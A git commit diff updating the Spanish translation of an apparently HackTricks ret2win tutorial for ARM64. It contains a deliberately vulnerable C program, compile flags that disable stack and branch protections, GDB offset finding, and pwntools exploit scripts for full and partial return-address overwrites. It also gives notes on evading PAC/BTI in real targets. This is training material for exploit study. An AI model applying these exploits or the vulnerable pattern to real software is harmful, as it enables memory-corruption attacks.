Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6

This commit is contained in:
Translator 2025-08-27 02:33:26 +00:00
parent 80e3063db5
commit b290bbd166

View File

@ -4,11 +4,12 @@
Encuentra una introducción a arm64 en:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Código
```c
#include <stdio.h>
#include <unistd.h>
@ -27,10 +28,22 @@ vulnerable_function();
return 0;
}
```
Compilar sin pie y canario:
Compilar sin pie y canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
```
- La bandera extra `-mbranch-protection=none` desactiva AArch64 Branch Protection (PAC/BTI). Si tu toolchain por defecto habilita PAC o BTI, esto mantiene el laboratorio reproducible. Para comprobar si un binario compilado usa PAC/BTI puedes:
- Busca propiedades GNU de AArch64:
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
- Inspecciona prologues/epilogues en busca de `paciasp`/`autiasp` (PAC) o de pads de aterrizaje `bti c` (BTI):
- `objdump -d ret2win | head -n 40`
### Datos rápidos sobre la convención de llamadas AArch64
- El registro de enlace es `x30` (también `lr`), y las funciones típicamente guardan `x29`/`x30` con `stp x29, x30, [sp, #-16]!` y los restauran con `ldp x29, x30, [sp], #16; ret`.
- Esto significa que la dirección de retorno guardada reside en `sp+8` relativa a la base del marco. Con un `char buffer[64]` colocado debajo, la distancia habitual de sobrescritura hasta el `x30` guardado es 64 (buffer) + 8 (x29 guardado) = 72 bytes — exactamente lo que encontraremos a continuación.
- El puntero de pila debe permanecer alineado a 16 bytes en los límites de función. Si construyes cadenas ROP más adelante para escenarios más complejos, mantén la alineación del SP o podrías provocar un fallo en los epílogos de función.
## Encontrar el offset
### Opción de patrón
@ -45,17 +58,17 @@ run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64 intentará regresar a la dirección en el registro x30 (que fue comprometido), podemos usar eso para encontrar el desplazamiento del patrón:
arm64 intentará regresar a la dirección en el registro x30 (que fue comprometido), podemos usar eso para encontrar el pattern offset:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**El desplazamiento es 72 (9x48).**
**El offset es 72 (9x48).**
### Opción de desplazamiento de pila
### Opción de stack offset
Comience obteniendo la dirección de la pila donde se almacena el registro pc:
Comienza obteniendo la dirección de stack donde se almacena el pc register:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@ -64,7 +77,7 @@ info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
Ahora establece un punto de interrupción después del `read()` y continúa hasta que se ejecute el `read()` y establece un patrón como 13371337:
Ahora establece un breakpoint después de la `read()` y continúa hasta que la `read()` se ejecute y establece un patrón como 13371337:
```
b *vulnerable_function+28
c
@ -75,7 +88,7 @@ Encuentra dónde se almacena este patrón en la memoria:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
Luego: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
Entonces: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
@ -89,13 +102,15 @@ objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Explotar:
Exploit:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
@ -113,7 +128,7 @@ p.close()
### Off-by-1
En realidad, esto va a ser más como un off-by-2 en el PC almacenado en la pila. En lugar de sobrescribir toda la dirección de retorno, vamos a sobrescribir **solo los últimos 2 bytes** con `0x06c4`.
En realidad esto va a ser más bien un off-by-2 en el PC almacenado en el stack. En lugar de sobrescribir toda la dirección de retorno, vamos a sobrescribir **solo los últimos 2 bytes** con `0x06c4`.
```python
from pwn import *
@ -135,7 +150,7 @@ p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
Puedes encontrar otro ejemplo de off-by-one en ARM64 en [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que es un verdadero off-by-**one** en una vulnerabilidad ficticia.
Puedes encontrar otro ejemplo off-by-one en ARM64 en [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que es un real off-by-**one** en una vulnerabilidad ficticia.
## Con PIE
@ -144,7 +159,7 @@ Puedes encontrar otro ejemplo de off-by-one en ARM64 en [https://8ksec.io/arm64-
### Off-by-2
Sin un leak no sabemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible obtener el desplazamiento a la función win (**0x7d4**) en este caso y simplemente usar ese desplazamiento:
Sin un leak no conocemos la dirección exacta de la winning function, pero podemos conocer el offset de la función dentro del binario y, sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible leakear el offset hacia la win function (**0x7d4**) en este caso y simplemente usar ese offset:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
@ -166,4 +181,45 @@ p.send(payload)
print(p.recvline())
p.close()
```
### Notas sobre el hardening moderno de AArch64 (PAC/BTI) y ret2win
- Si el binario está compilado con AArch64 Branch Protection, puede que veas `paciasp`/`autiasp` o `bti c` emitidos en los prólogos/epílogos de las funciones. En ese caso:
- Volver a una dirección que no sea un BTI landing pad válido puede generar un `SIGILL`. Prefiere apuntar a la entrada exacta de la función que contiene `bti c`.
- Si PAC está habilitado para las returns, las sobreescrituras ingenuas de la dirección de retorno pueden fallar porque el epílogo autentica `x30`. Para escenarios de aprendizaje, recompila con `-mbranch-protection=none` (mostrado arriba). Al atacar objetivos reales, prefiere secuestros que no usen returns (p. ej., sobreescrituras de function pointers) o construye ROP que nunca ejecute un par `autiasp`/`ret` que autentique tu LR falsificado.
- Para comprobar las características rápidamente:
- `readelf --notes -W ./ret2win` y busca las notas `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC`.
- `objdump -d ./ret2win | head -n 40` y busca `bti c`, `paciasp`, `autiasp`.
### Ejecutar en hosts noARM64 (consejo rápido qemuuser)
Si estás en x86_64 pero quieres practicar AArch64:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
```
### Páginas relacionadas de HackTricks
-
{{#ref}}
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
{{#endref}}
-
{{#ref}}
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Referencias
- Habilitar PAC y BTI en AArch64 para Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Estándar de llamadas a procedimientos para la arquitectura Arm de 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
{{#include ../../../banners/hacktricks-training.md}}